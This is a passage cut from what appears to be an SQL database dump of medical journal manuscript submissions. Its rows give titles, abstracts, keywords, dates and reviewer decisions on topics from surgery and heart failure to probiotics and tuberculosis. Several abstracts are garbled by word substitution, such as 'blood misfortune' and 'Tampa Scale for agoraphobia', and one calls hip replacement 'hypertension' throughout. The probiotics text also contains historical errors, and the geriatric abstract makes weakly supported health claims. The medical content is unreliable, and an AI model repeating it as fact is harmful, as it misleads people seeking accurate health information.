surgical approaches [1–3]. This has raised intrigued in its utilize in other surgical areas, such as otolaryngology and head and neck surgery. Head and neck and a few aviation route strategies have been related wi','patients, surgery, parameters, Surgical',5413,NULL,'2023-01-13',NULL,'Submitted',2,NULL,'2023-01-25',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13415,13605,326,0,'IPJUS-23-13415','The suction-assisted curettage procedure: A Review',NULL,5,0,'','Surgical delicate tissue debridement of an aroused or necrotic wound can be a challenging, time-consuming work out, frequently with unbalanced blood misfortune. Suction-assisted curettage could be a secure, basic and viable procedure for these common, baffling problems. Suction curettage as a strategy for helpful premature births is well-established, with a or maybe commendable security rate (1–3). This operation requires a especially exact, atraumatic method to evacuate the items of conception but maintain a strategic distance from aperture of the vascular uterus. Suction-assisted curettage makes a difference to decrease blood misfortune, and significantly diminishes the agent time required to perform these methods (3). Figure 1 appears a ordinary Berkley suction cannula.','patients, surgery, parameters, Surgical',5413,NULL,'2023-01-13',NULL,'Submitted',2,NULL,'2023-01-25',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13416,13606,277,0,'ipadm-23-13416','ISGLT-2: EL NUEVO PILAR DEL TRATAMIENTO DE LA FALLA CARDIACA',NULL,15,0,'','La falla cardiaca es un síndrome clínico caracterizado por deterioro de la calidad de vida, uso frecuente de servicios médicos y mortalidad prematura. Su prevalencia se encuentra entre un 1% y un 14% en población estadounidense y europea, para Colombia se estima una prevalencia de aproximadamente el 2.3% de la población; 1, 2 estudios recientes señalan un aumento del número de muertes por esta etiología en los estados unidos, de 275,000 en 2009 a 310,000 en 2014, esto asociado a un fenómeno en el cual hay un aumento de la expectativa de vida de los pacientes cardiópatas, además del envejecimiento poblacional.','Insuficiencia Cardíaca; Inhibidores del transportador sodio-glucosa tipo 2; Diabetes Mellitus Tipo 2; Agentes antidiabéticos.',2707,NULL,'2023-01-13',NULL,'Submitted',2,NULL,'2023-02-09',NULL,1,1,'1','Proceed to publish the article.',0,'','',NULL,0,0,0,NULL,0),(13420,13622,277,0,'ipadm-23-13420','Cicatrizacion de heridas en la diabtes mellitus',NULL,6,2,'Cicatrizacion de heridas en la diabtes mellitus','Un gran porcentaje de la población sufre anomalías en la cicatrización de heridas, en particular los sujetos con diabetes mellitus. La cicatrización de heridas en la diabetes mellitus resulta un proceso dinámico descontrolado como consecuencia de los elevados niveles de glucemia. Los objetivos del trabajo fueron describir brevemente los mecanismos fisiopatológicos involucrados de la cicatrización de heridas en la diabetes mellitus. Para ello, se realizó una revisión bibliográfica de artículos originales en la base de datos PubMed. En este estudio se demuestra que en la cicatrización de heridas diabéticas existe una alteración en los procesos de inflamación, angiogénesis y remodelación del tejido. Además, se aborda acerca de los estados hiperglucémicos que influyen en el estrés oxidativo. Se concluye que los estados hiperglucémicos afectan la cicatrización de heridas. ','Cicatrizacion de heridas\ndiabetes mellitus\nestrés oxidativo',5390,NULL,'2023-01-17',NULL,'Submitted',2,NULL,'2023-04-06',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13421,13611,45,0,'iphsj-23-13421','Training of Health Care Professionals',NULL,14,2,'Nursing Interventions and Implementing Patient Care Plans','','',456,NULL,'2023-01-18',NULL,'Submitted',2,NULL,'2023-06-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13422,13612,975,0,'ipjbs-23-13422','Validation of the Latvian and Russian version of the questionnaire ',NULL,14,0,'','This scientific paper is a result of research, in which the Latvian and Russian versions of the questionnaire “Interpersonal Communication Assessment Scale” (ICAS) by Marilyn D. Klakovich and Felicitas A. Dela Cruz, were validated, studied and their psychometric properties were analyzed. Interpersonal communication is an important and integral part of the health sector that contributes to the day-to-day routine and improves patient satisfaction with both short- and long-term care. While the patient is in a healthcare institution, they communicate several times with various healthcare representatives - doctors, nurses, and medical assistants, therefore it is very important to evaluate and understand the quality of this communication in each medical institution.\r\n\r\nThe Latvian and Russian versions of the ICAS have been adopted to assess physician-patient communication. ICAS validation was carried out in several stages: translation from the original language into Latvian and Russian, back-translation into the original language, comparison of the results of the original version with the Latvian and Russian versions, proof of the validity of the Latvian and Russian language questionnaires. Analysis of psychometric parameters and proof of validity was performed using SPSS version 26 (Statistical Package for Social Sciences). The study involved 50 Latvian-speaking and 50 Russian-speaking participants (non-probabilistic convenience sample). Psychometric analysis has shown high values in Cronbach\'s Alpha (ICAS: .94/.96*, advocacy: .91/.93*, therapeutic use of self: .88/.92*, validation: .65/.85 *) (*LV/RUS), Pearson correlation (r = .971, P = .000), Barlett\'s test of sphericity (?2 = 1253.22, P = .000), Kaiser-Meyer-Olkin measure of sampling adequacy (.775), Interclass Correlation Coefficient (.916, P = .000). The general psychometric indicators for the Latvian and Russian versions of ICAS are comparable and close to the original ICAS version results. ICAS has proven high internal consistency/reliability and temporal stability in Latvian and Russian versions, so it is considered a suitable and reliable tool for assessing interpersonal communication.','ICAS, Interpersonal Communication Assessment Scale, Medical Communication, Validation, Latvian Language Version, Russian Language Version',4089,NULL,'2023-01-19',NULL,'Submitted',2,NULL,'2023-01-27',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13423,12921,996,0,'ipar-23-13423','In Symptomatic Patients, Ankle Pain, Foot Mobility and Clinical Activity were Investigated',NULL,25,0,'','The main objective of this study was to determine the relationship between kinesiophobia and pain (generally and in the feet), foot function, and disease activity in patients with rheumatoid arthritis (RA). A total of 124 interviews were conducted with RA participants. Participants were recruited from the Virgen de las Nieves de Granada University Hospital in Spain. Participants completed the following questionnaires during their rheumatologist. The Foot Function Index (FFI), the Tampa Scale for agoraphobia (TSK-11) and the Foot Pain Visual Analogue Scale (VAS Pain). In addition, the Simplified Disease Activity Index (SDAI) was used to measure disease activity. Were obtained between the variables TSK-11 and VAS (associated with general pain or leg pain) and FFI (in its three sub-ranges). ). In addition, a negative correlation between TSK-11 and educational attainment was demonstrated. This study provides information on the relationship between foot function and pain with varying degrees of agoraphobia in patients with RA. In addition, the patient\'s educational history is considered to be a predictor of whether the patient has kinesiophobia.','kinesiophobia; rheumatoid arthritis; foot; pain; function',3649,NULL,'2023-01-19',NULL,'Submitted',2,NULL,'2023-02-07',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13424,12920,996,0,'ipar-23-13424','Clinical Tomography and Functional Outcomes of Porcelain-Based Surgery on Older Patients',NULL,15,0,'','Total hip replacement (THR) is a widely used surgical procedure to relieve pain and improve function and quality of life for patients with hip disorders. Osteoarthritis is the most common condition that leads to hypertension, with most surgeries performed to treat severe osteoarthritis that causes pain and limited function. Despite the apparent success of PTH, the search for improvement and better outcomes, especially in the long term, continues, especially in elderly patients, for whom little evidence remains science. To evaluate clinical, radiological and functional aspects before surgery and two years after hypertension using a ceramic component device in elderly coxarthrosis patients. A retrospective cohort study was performed to evaluate 65 elderly people with hip hypertension with an acetabular component (MD® ceramic head with acetabular insertion) in combination with an MD6® Phenom® femoral stem type, disease Institut de la Luz, São Paulo/SP , between 2018 and 2019. Anthropometric and clinical information on surgery and two-year follow-up were collected from the patient\'s medical records. To assess clinical function, the Harris Hip Score (HHS) questionnaire and hip motion angle measurement were applied. For X-ray parameters, acetabular component localization, DeLee region, and acetabular component transposition. The prevalence of hypertension was higher in men (53.8%). The radiographic parameters before and after surgery 2 years after surgery to treat hypertension showed that the positioning angle of the acetabulum (p=0.083) and femur (p=0.102) was maintained and function was increased. (p<). ; 0.001) and hip mobility (p=0.001) reduced pain after two years of hypertension. Complications related to dislocation, looseness, infection and improper implant placement are all low, only 1.5-3%. Elderly patients undergoing surgery for primary hypertension with an acetabular ceramic component device, during a two-year follow-up period, have been shown to be effective in improving clinical, radiological aspects and function.','hip; osteoarthritis; pain; instability; functionality',3649,NULL,'2023-01-19',NULL,'Submitted',2,NULL,'2023-02-07',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13427,8105,996,0,'ipar-23-13427','Use the Surgical Ligament Matrix with Biportal Electrical Pulses to Treat Back Injuries',NULL,25,0,'','Previously reported treatment strategies for this pain include conservative management, SI joint injection, radiofrequency denervation ablation, and SI joint fusion. Here, we describe the use of biportal endoscopic radiofrequency ablation (BERA) to treat patients with low back pain. From April 2018 to June 2020 he included her 16 patients who underwent ABR. The S1, S2, S3 foramen and her SIJ line were marked under fluoroscopy. The skin entry point was placed 0.5 cm medial to the SIJ line, at the level of the S1 and S2 foramen. Under local anesthesia, her 30° arthroscope with a diameter of 4 mm was inserted through the viewing portal. Surgical instruments were introduced through a separate caudal working portal. We resected the lateral branch of the S1-S3 foramen and the dorsal branch L5, which is the cause of SI arthralgia. At 1, 6 and 12 months post-surgery follow-up, clinically relevant improvements were noted in both the Visual Analogue Scale and the Oswestry Disability Index score. The patient\'s overall satisfaction rate was 89.1% for him. BERA for ISG pain treatment has the advantage that the innervating nerves to the joint are identified and removed directly. This technology allows for a wider working angle compared to traditional single-port endoscopes. Our study showed promising preliminary results.','endoscopy; radiofrequency ablation; low back pain',3649,NULL,'2023-01-19',NULL,'Submitted',2,NULL,'2023-02-07',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13428,13614,91,0,'ijddr-23-13428','Drug Delivery Systems in the Oral Cavity Using Biocompatible and Biomaterials',NULL,5,0,'','In response to environmental limits and conditions, biological organisms develop sophisticated and effective methods for producing materials that frequently surpass synthetic materials with a same composition. It is essential to have a thorough grasp of the characteristics, make-up, and hierarchical organisation of biological materials in order to synthesise and develop innovative bio-inspired materials with similar traits. These biomaterials are increasingly being used in the medical field, such as as drug delivery vehicles or as skin and soft tissue substitutes for the treatment of wounds. According to this theory, a number of researchers have been asked to submit unique research findings and reviews that may inspire further research into novel biomaterials with immediate clinical uses in the related disciplines of medication delivery, wound care, and transportation.\r\nBased on the following keywords stem cells, bone tissue engineering, functional biomaterials, scaffolds, and implants this special issue is organised into different areas. Applications for biomaterials have quickly spread to various scientific disciplines. Dentistry is one of the key areas where biomaterials are used. These materials can help with implant placement, surgery, and the treatment of oral disorders such peri-implantitis, periodontitis, and other dental issues. Drugs are released into target tissues of the oral cavity with the fewest possible side effects thanks in large part to drug delivery devices made of biocompatible materials. In order to increase the effectiveness and acceptability of therapy techniques for dental issues and oral disorders, researchers have examined a variety of delivery systems. Additionally, biomaterials might be used in biocompatible medication delivery systems as carriers. For instance, several delivery systems are made using natural polymeric materials such gelatin, chitosan, calcium phosphate, alginate, and xanthan gum. Additionally, several alloys are used in medication complexes for transportation purposes.\r\n','Biomaterials applications; Drug delivery; Natural polymer; Transportation; Biocompatible; Therapeutic',2474,NULL,'2023-01-19',NULL,'Submitted',2,NULL,'2023-02-06',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13429,13615,91,0,'ijddr-23-13429','Targeting Tumour Blood Vessels with a Liposomal Drug Delivery system for Cancer Treatment',NULL,5,0,'','By providing various drug delivery methods and controlled-release distribution tactics, nanotechnology provides an alternative to traditional treatment alternatives. Due to their high biodegradability and general lack of toxicity, liposomes provide a flexible platform for a number of various delivery strategies that may improve the distribution and targeting of medicines to tumours. Due to fenestrated blood arteries within tumours, liposomes spontaneously enter tumours, causing recognised increased permeability and associated medication retention effects. Liposomes are appealing carriers for molecular imaging applications because they can be utilised to transport radioactive moieties, such as radiotracers, which can be bound at various points inside liposomes. Using the phage display method, various high-affinity and selectivity peptides can be delivered to various targets. In this study, covalent peptide-PEG-PE anchors were used to link gelatinase-binding peptides discovered by phage display to liposomes, resulting in a tailored drug delivery vehicle. A good approach for tumour targeting is to use gelatinases as extracellular targets. Based on our research, focused drug delivery outperforms non-targeted drug delivery in terms of effectiveness.','Liposome; Transparent tumor; Blood vessels; Nanotechnology; Anti-cancer agents; Targeted drug delivery',2474,NULL,'2023-01-19',NULL,'Submitted',2,NULL,'2023-02-06',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13430,13590,91,0,'ijddr-23-13430','Development of Nonionic Bisphosphonate-Modified Drug-Loaded Nanoparticles Binding to Hydroxyapatite','',19,0,'','The goal of this work was to create drug-loaded nanoparticles that could bind to hydroxyapatite (HA) and be used to create bone graft alternatives that release drugs or growth factors. To do this, pamidronate was first used to modify the terminal hydroxyl group of the nonionic surfactant Brij 78 (polyoxyethylene (20) stearyl ether) (Pa). Three distinct Pa surface functionalized nanoparticles were created, called solid lipid nanoparticles (Pa-SNPs), nanoemulsions (Pa-NEMs), and PLGA nanoparticles, using Pa-Brij 78 as a surfactant and an affinity ligand to HA (Pa-PNPs). The three nanoparticles were successfully used to encapsulate the model drug curcumin. With polydispersity indices (PDIs) less than 0.20, the diameters of Pa-NEM, Pa-PNP, and Pa-SNP were all roughly 150 nm in size. The three nanoparticles\' drug encapsulation effectiveness rates were all higher than 85%. Additionally, the nanoparticles\' affinity for binding to HA was arranged in this sequence. The three nanoparticles\' diameters were increased by 0.5–2.0 fold after lyophilization, but their affinities for binding to HA were nearly identical to those of freshly produced nanoparticles. In order to create drug-eluting HA-based bone graft alternatives, a Pa-modified Brij 78 was synthesised and employed in the manufacture of a number of drug-loaded nanoparticles.','Drug Development; Drug discovery; Drug Designing; Nanoparticle; Nonionic surfactant',5033,'','2023-01-10',NULL,'Submitted',2,0,'2023-03-17','',1,1,'1','Accepted',0,'','',0,0,0,0,NULL,0),(13431,13616,91,0,'ijddr-23-13431','Probiotics in dermatological therapy and skincare',NULL,5,0,'','INTRODUCTION\r\n\r\n                Probiotics are characterized as “live microorganisms\'\' when regulated insufficient sums, present a medical advantage on the host”. The use of probiotics has shown promising effects on the prevention and treatment of different inflammatory skin disorders such as acne and atopic dermatitis. Although probiotic bacteria have documented skin benefits, live cultures are generally not prefered in cosmetics. Rather than including live bacteria cultures, many of the probiotic skincare formulae use bacteria fragments or metabolites. There is not currently any science developed to support the idea that live cells are any more effective when applied to the skin than these fragments. In the near future, some brands using live bacteria might emerge. We will briefly review the science supporting the use of topical probiotics in dermatological therapy skincare products.\r\n\r\n               Nonetheless, such a large number of the items right now marked as probiotics neglect to conform to the principal attributes. In 1900 Louis Pasteur first identified the microorganisms responsible for fermentation, finally bringing fitness to and promoting the sturdiness of Bulgarian rural human beings in the event that they consumed fermented ingredients which included yoghurt and the bacteria they contained. He cautioned that “lactobacilli may counteract the putrefactive outcomes of gastrointestinal metabolism that contributed to infection and getting older” where as E.Metchnikoff associated the enhanced longevity of Bulgarian rural people to the regular consumption of fermented dairy products such as yoghurt. He suggested that lactobacilli might counteract the putrefactive effects of gastrointestinal metabolism that contributed to illness and aging. Hippocrates declared, 2000 years earlier, that “death sits in the bowels.” Metchnikoff considered the lactobacilli as probiotics (“probios,”) conducive to life of the host as opposed to antibiotics); probiotics could have a positive influence on health and prevent aging. During the neolithic period of the age of the stone, the domestication of animals occurred and man began to get fermented food. Probably serendipitous contaminations in favorable environments played a major role.The corrective business has expanded the quantity of items delegated probiotics.\r\n          The term prebiotics was introduced by Gibson and Rober Froidin 1995 to describe food supplements that are non digestible by the host but are able to exert beneficial effects by selective stimulation of growth or activity of microorganisms that are present in the intestine. The phrase probiotic (from the Latin pro and the greek bio literally meaning “for existence”) was delivered by way of the German scientist Werner Kolathin 1953 to designate “energetic substances which are essential for a whole some development of existence.” In 1965, this time period was utilized by Lily and Stilwell in a special context to symbolize “materials secreted with the aid of one organism which stimulate the boom of any other.” More particularly, Fulerin 1992 defined probiotics as “alive microbial feed supplement which beneficially affects the host animal by way of improving its intestinal microbial stability.\r\n        While there are a few expected applications for probiotics in private consideration items, explicitly for oral, skin, and close consideration, legitimate guideline of the naming and advertising norms is as yet expected to ensure that shoppers are for sure buying a probiotic item. This audit investigates the ongoing business sector, administrative angles and likely uses of probiotics in the individual consideration industry.\r\n        Probiotics have various mechanisms of actional thought the exact manner in which they exert their effects is still not fully elucidated. These range from bacteriocin and short chain fatty acid  production, lowering of gut pH, and nutrient competition to stimulation of mucosal barrier function and immune modulation. The later in particular has been the subject of numerous studies and there is considerable evidence that probiotics influence several aspects of the acquired and innate immune response by inducing phagocytosis and IgA secretion, modifying T-cell responses, enhancing Th1 responses, and attenuating the responses. The  skin is the largest organ in the human body. Its primary function is to protect our bodies from external harm by acting as a Physical barrier, with additional roles that include regulation of the body. \r\n\r\nSkin microbiome:\r\n\r\nTemperature, evaporation control, sensation, and storage of Lipids and water. Skin continuously undergoes self-renewal, so resident microbial cells are shed in the process. Most of the Microbes found on the skin are commensal organisms and harmless to healthy individuals; infact, some are considered mutualistic. Organisms confer health benefits to the skin by secreting antibacterial substances, preventing pathogen colonization, and influencing host immune responses. Recent researches related to control of skin barrier functions prove close connection. Physical, immunological, and cell biological  characteristics of skin and its bacterial population. Joshua Lederberg suggested using the term “human  microbiome” to describe the collective genome of our indigenous Microorganisms (microflora) colonizing  the whole body in starting from this time, microbiologists and dermatologists joined their efforts to identify and describe different microorganisms colonizing human skin to estimate a number of each population And to understand, which microbial variety can cause one or another dermatological condition. In general, the microbiome is defined as a collective genome of microorganisms. Thus, the skin microbiome is a genome of microorganisms present on skin, in which microorganisms support complex relations. Most microorganisms found on human skin are not dangerous for human health. Some of them are even necessary for skin health. They release antibacterial substances, prevent pathogenic colonization of skin and affect its immunity. According to held researches, three groups of microorganisms colonizing human skin are found, they are as follows:\r\n\r\nGroup.1  Transitional Microorganisms Regularly, Occasionally appearing\r\nGroup.2 Temporal Microorganisms Present on skin for a Short period.\r\nGroup.3 Microorganisms Permanently Colonizing skin\r\n\r\nThere are various microflora i.e. bacteria and microscopic algae and fungi, especially those living in a particular site or habitat. The Skin Microflora in the context of bacteria, our skin can be viewed as a cultural environment composition of which is mainly a result of our genetics, diet, way of life and a region where we live. Therefore, human skin is unique and accordingly, the skin microbiome of each person is also unique. The skin microbiome is highly  dependent on the micro environment of the sampled site, a reflection on the physiology of skin. Sebaceous sites such as the forehead have the lowest diversity, and Propionibacterium species are the dominant organisms. On the other hand, moist areas (e.g.,armpits,navel,groin) constitute higher diversity of microbiota, with Staphylococcus And Corynebacterium species as the predominant members [10,16].Moreover, skin sites with greater bacterial diversity (e.g., Forearm,hand, butock) can harbor diversity as high as a sor higher than that of the gut microbiome. The acidic condition resulting From sebum   degradation discourages pathogens from invading and establishing in the skin. Personal hygiene is another environmental factor that has a direct effect on the skin’s  microbial flora. Soaps, makeup, and skincare Products (e.g.,moisturizers) alter skin conditions that in turn may influence the types of microbes residing on the skin. On the contrary, in dry areas, skin microbiomes include β-Proteobacteria and Flavobacteriales. Various factors affect the microbial flora of the skin and they can be generally categorized into host and environmental factors.\r\nSkin barrier and microbiota act like a shield protecting the organism against harmful effects of the outdoor environment. There is well-balanced interaction between permanent and temporary populations on skin. This balance continuously depends on internal and external(including environmental) factors that change composition of microbial populations on skin and a function of the host skin barrier. Change of this balance is characterized as dysbacteriosis occurrence of which can worsen such chronic skin diseases as a topic  dermatitis and psoriasis, or acne. However, dysbacteriosis can be observed not only among bacteria, imbalance  between bacteria and commensal fungus strain on head skin is observed in cases of patients disposed to dandruff Cosmetics for skin: The increase in products termed probiotic on the market does not necessarily equate With areas onto celebrate the successful translation of science to commerce and consumers. Too  many products fail to comply with the characteristics required to be called probiotic. Many false claims and rampant misuse of the term has resulted in mainstream consumer Channels providing incorrect information to consumers. Probiotics are not inside us, not in Fermented food, not necessarily better if there are  more species or a higher viable count. Formulations are being concocted not based on  research evidence but  on marketing and What might appeal to consumers. \r\nProbiotics and skin microflora:\r\n The skin is able to act as a physical barrier exerting several functions such as fluid homeostasis, thermoregulation,  immune responses, neurosensory  functions, metabolic functions, and primary protection against infection. The skin microflora plays a significant role in competitive exclusion of pathogens that are aggressive and provoke infection in the skin  and in the processing of skin proteins, free fatty acids(FFAs),and sebum. Interestingly the resident microbiota may be regarded as “beneficial” to the normal, healthyhost, but may become dangerous to the host with disturbed skin  integrity. Microorganisms may have a role even in a topic dermatitis(AD), eczema, rosacea, psoriasis, and acne. Even if there are only very few studies pursuing a probiotic approach for microflora-related skin disorders, it is intriguing to suppose that topical probiotic application can be beneficial either for preventing or for treating altered microflora-associated skin diseases. \r\nAntimicrobial substances:\r\nThe potential topical use of probiotic strains capable of producing potent antimicrobials toxins (i.e.,bacteriocin, bacteriocin-like substances, organic acids, and H2O2) has received increasing attention to successfully prevent pathogen adhesion and out-compete undesired species (Ohetal.2006;Giloretal.2008). Topical compositions containing probiotic bacteria, spores, and extracellular product and uses thereof represented the basis of the invention of Farmer (2005) suitable for topical application to the skin which can be utilized to inhibit the growth of bacteria, yeasts, fungi, viruses,  and combinations there of  The invention also  Use of Probiotics for Dermal Application disclosed methods of treatment and therapeutic systems for inhibiting the growth of pathogens and combinations there of, by topical application of therapeutic compositions.The probiotic microorganisms may be bacteria, yeast, or mold. Suitable probiotics should be selected according to one or more particular properties, being the preferred properties of their competitive exclusion of pathogenic organisms from the surface to which they are applied, adherence to human tissue, sensitivity to antibiotics, antimicrobial activity, acid tolerance, and a high oxygen tolerance. In particular, the method consists of different application modalities (i.e.,lotions, spraying, wipe paper) of one or more probiotic microorganisms to a wide variety of surfaces, such as human skin and hospital equipment and fixtures, in an amount effective to, at least partly,prevent their contamination, colonization, growth, and cross-contamination by the pathogenic bacteria.\r\n\r\nMATERIALS AND METHODS\r\n\r\nIsolation Of Bacteria From\r\n\r\nThe medium which was selected for the lactic acid bacteria was deMan, Rogosa, and Sharpe (MRS) agar medium. Rice was cooked and excess water was drained. It was allowed to cool at room temperature .It was soaked fully in water and stored in a container. It was covered and left overnight at room temperature. Fermented rice water was serially diluted and plated. Aloopful of inoculums was taken from the plate and streaked on a MRS and incubated at 37ËšC for 24hrs. A loopful of samples was streaked on the sterile MRS agar Petri Plate by quadrant streaking method, under aseptic conditions. After streaking all the Petri Plates, they were incubated at 37°C for 24 to 48hr. After the incubation, colonies were restreaked on the MRS agar Petri Plate for the formation of isolated colonies. Then from these plates isolated colonies were restreaked on MRS agar slants and stored at 4°C.\r\n\r\n\r\n2.1 Identification Of Bacteria:\r\nLactobacilli confirmation can be done microscopically by performing gram staining. The  colour, shape and motility was also observed\r\n\r\nSCREENING OF ISOLATED LACTOBACILLUS Spp. FOR PROBIOTIC PROPERTIES:\r\n \r\n2.2Determination of optimal growth and pH:\r\n\r\nFor the determination of optimal pH and growth, the overnight culture of the Lactobacillus in the MRS broth media with a varying pH ranging from 2.5 to 8.5, using HCl or NaOH were  inoculated with 1%(v/v) and incubated in anaerobic condition for 24hr at 37°C in the presence of 10% CO2. Bacterial growth was monitored by the determination of optical density at  560 nm using a spectrophotometer against the uninoculated broth.\r\n\r\n\r\n2.3Assay for NaCl tolerance:\r\n\r\nIn order to determine the NaCl tolerance, isolates from each sample were incubated with 1%(v/v) overnight culture of Lactobacillus in the test tubes containing MRS broth adjusted with different concentrations (1-10%) of NaCl. The inoculated medium was incubated in anaerobic condition for 24hr at 37°C. The bacterial growth was determined using a spectrophotometer reading the optimal density at 560 nm.\r\n\r\n2.4Determination of bile salt tolerance:\r\n\r\nBile salt tolerance of the isolated bacteria was examined by inoculating the freshly\r\ncultured isolates at1% (v/v)into MRS broth containing Bile salts different\r\nconcentrations (0,0.1,0.3,0.5and1%(w/v). The medium was then incubated at 37°C\r\nfor 24 hours in an anaerobic condition. The growth of the isolates was monitored at 0,3,\r\n5 and 24hr by measuring the absorbance of the culture broth at 620 nm using\r\nspectrophotometer .\r\n\r\n2.5Antimicrobial activity:\r\n\r\nThe antimicrobial activity of the isolated Lactobacillus was identified by well diffusion method, with slight modification. The overnight culture of Lactobacillus was centrifuged (10,000rpm for 20 min at 4°C) and the supernatant was adjusted to pH7.0 with NaOH to exclude the antimicrobial effect of H+. Supernatant of each sample of Lactobacillus were monitored for antibacterial activity against indicator bacteria (Bacillus, Pseudomonas) inoculated on Nutrient agar. Wells of 5mm india meter were punctured into the agar plate and aliquots of 50μl from each solution samples were placed into the wells. The plates were incubated for bacterial growth and examined for the presence of clear zones of inhibition around the wells.\r\n\r\n2.6Antibiotics sensitivity :\r\n\r\nFor the observation of antibiotics sensitivity test Disk diffusion method was performed. Different antibiotics were tested over the isolates. The appropriate antimicrobial-impregnated disks were placed on the surface of the MH agar plate inoculated with each isolate. The zones of inhibition around the disks were observed and the diameters were measured.\r\n\r\n2.7Synthesis of probiotic bacteria:\r\n\r\nIsolated lactobacilli species was in addition inoculated in nutrient agar broth. Inoculated broth was incubated for 48hrs. For acquiring better concentration of lactobacillus species. The  broth became then centrifuged at 5000 rpm for 10min for pelleting down the classy cells. The pellet became washed three times with autoclaved distilled water 3 instances after which it was weighed for determining the quantity of mobile way of life received after incubation.\r\n\r\nINOCULATION OF LACTOBACILLUS SPP IN SKINCARE\r\n\r\n Shea butter is melted to liquid form. By double boiler over low heat on the stove top. Once it liquefies, heat is removed and allowed to cool for 2 minutes then stir in the raw honey and aloe vera gel, the mixture is allowed to cool off in the refrigerator for about 15 minutes. Pellets of Lactobacillus species were added and tea tree oil and essential oils were added drop by drop. this probiotic face serum is transferred in sterilized glass jar and stored in cool dry place The lab made face serum was further dissolved in   sterilized distilled water and a loopful was inoculated to the Nutrient medium containing petri plates for determining the viability of lactobacillus species after incubation\r\n\r\n RESULT AND DISCUSSION\r\n\r\n   MRS Medium plates were observed to have isolated bacterial sample from fermented rice water. The bacterial sample was further tested for confirmation of lactobacillus species. The bacterial isolates were observed to be round, flat, slightly mucoid, creamy in colour. Gram staining was performed and observed to be gram positive bacteria and observed to be rod shaped. Biochemical test was also performed\r\n','',5255,NULL,'2023-01-19',NULL,'Submitted',2,NULL,'2023-02-06',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(13432,13617,667,0,'iptb-23-13432','Geriatric Life: Tips and Tricks',NULL,14,0,'','Introduction: Some common problems affecting elderly population are related to vision, movements, joint pains, knee pain, arthritic pain, bowel, bladder irregularities, sometimes, diarrhea, sometimes constipation, dehydration, feeding problems, difficulty chewing, decreased strength and vigor, decreased interest, dental carries, falls.\r\nMethod: Study was taken to analyze the efficiency of basic medical allied and palliative care, integrated care in the elderly. Some home based medical advice, clinical guidance, psychotherapy, cognitive therapy, individualized, personalized care, guidance and advice, precision medicine customized to individuals according to their preference, tastes and requirements.\r\nResults: \r\nDiminished vision among elderly was improved with an improved diet, vitamin A, including and increasing dairy among vegetarians.\r\nKnee pain was improved by cold compress and range of motion exercises coupled with rest to the repeated movements caused by climbing stairs.\r\nDiabetes was improved by restricting sugar and sweet foods.\r\nCholesterol levels were improved by brisk walking, exercise and decrease in oily fried food.\r\nHypertension was checked by no added salt in food, restricting salt in diet, regular walking, exercise, meditation, and including beet in diet.\r\nBowel movements regularized by regular diet, with roughage, fibre, green leafy vegetables.\r\nBladder problems were reduced by drinking enough water through the day.\r\nAmbulation was improved with walking aids, company for walking.\r\nPsychotherapy improved happiness in life, going out, socializing, eating and feeding habits.\r\nSelf grooming, self care, hygience improved with exercise, meditation, yoga, friends and guidance and disciplined controlled life.\r\nProper rest and relaxation improved sleep cycles and ability to work.\r\n\r\n\r\n\r\n\r\nConclusion: With improved judgment and insight of medical acumen, care, love, knowledge and better coordination of the doctor patient understanding and interactions, better outcomes on regular day to day problems were achieve and higher resolution of problems and better outcomes were demonstrated among the elderly.\r\n','elderly, personalized treatment, counseling, care, guidance, clinical acumen, judgment\r\n\r\n',4988,NULL,'2023-01-20',NULL,'Submitted',2,NULL,'2023-01-30',NULL,1,1,'1','Accept ',0,'','',NULL,0,0,1,NULL,0),(13433,13609,971,0,'ipaclr-23-13433','Medical genetics: Its Significcance in studying of a disease','',17,0,'','All diseases, to some extent, are influenced by genetics. Disease processes are influenced by variations in our DNA and variances in how that DNA operates (individually or in combination), as well as by the environment (which includes lifestyle). In this review, the genetic basis of human disease including single gene disorders, chromosomal abnormalities, epigenetics, cancer, and complex disorders is examined. It also considers how scientific knowledge and technological advancements can be used to provide patients with the best possible diagnosis, treatment, and care.','Epigenetics,  Cancer,  DNA,   Disorders,  Human disease.',5381,'','2023-01-17',NULL,'Submitted',2,0,'2023-03-17','',1,1,'1','Accepted',0,'','',0,0,0,0,NULL,0),(13434,13608,971,0,'ipaclr-23-13434','Immunopathogenesis and co-morbidities of Tuberculosis','',11,0,'','The etiologic agent of tuberculosis (TB), Mycobacterium tuberculosis, continues to pose a serious threat to worldwide public health. Globally, 10.4 million new TB cases were recorded in 2016, and there were around 1.7 million TB-related fatalities. One of the most important aspects of attempts to eliminate TB through the creation of potent vaccines and immunological treatments is understanding the host response to M. tuberculosis infection. An intracellular infection called M. tuberculosis spreads by the inhalation of aerosolized droplets carrying germs. The lungs\' innate immune cells, particularly macrophages, dendritic cells, monocytes, and neutrophils, constitute the first line of defence against M. Tuberculosis.\r\n','M. Tuberculosis,  Public health,  Infection,  Innate immune cells.',5381,'','2023-01-16',NULL,'Submitted',2,0,'2023-03-17','',1,1,'1','Accepted',0,'','',0,0,0,0,NULL,0),(13435,13607,971,0,'ipaclr-23-13435','Clinical Significance of Innate immunity on SARS-CoV-2','',12,0,'','People around the world have been impacted by the coronavirus disease 2019 (COVID-19) pandemic, which is brought on by the severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2). This has sparked an unprecedented effort from the scientific community to comprehend the biological basis of COVID19 pathophysiology. An overview of the current understanding of the innate and adaptive immune responses induced by SARS-CoV-2 infection as well as the immunological pathways that most likely influence the severity and mortality of the disease.','SARS-CoV-2,  Immunological pathways,  Mortality,  Biological basis.\r\n',4710,'','2023-01-16',NULL,'Submitted',2,0,'2023-03-17','',1,1,'1','Accepted',0,'','',0,0,0,0,NULL,0),(13436,13618,959,0,'ipacr-23-13436','METASTATIC BREAST CANCER TO ESOPHAGUS: A CASE REPORT',NULL,2,0,'','Secondary  esophageal 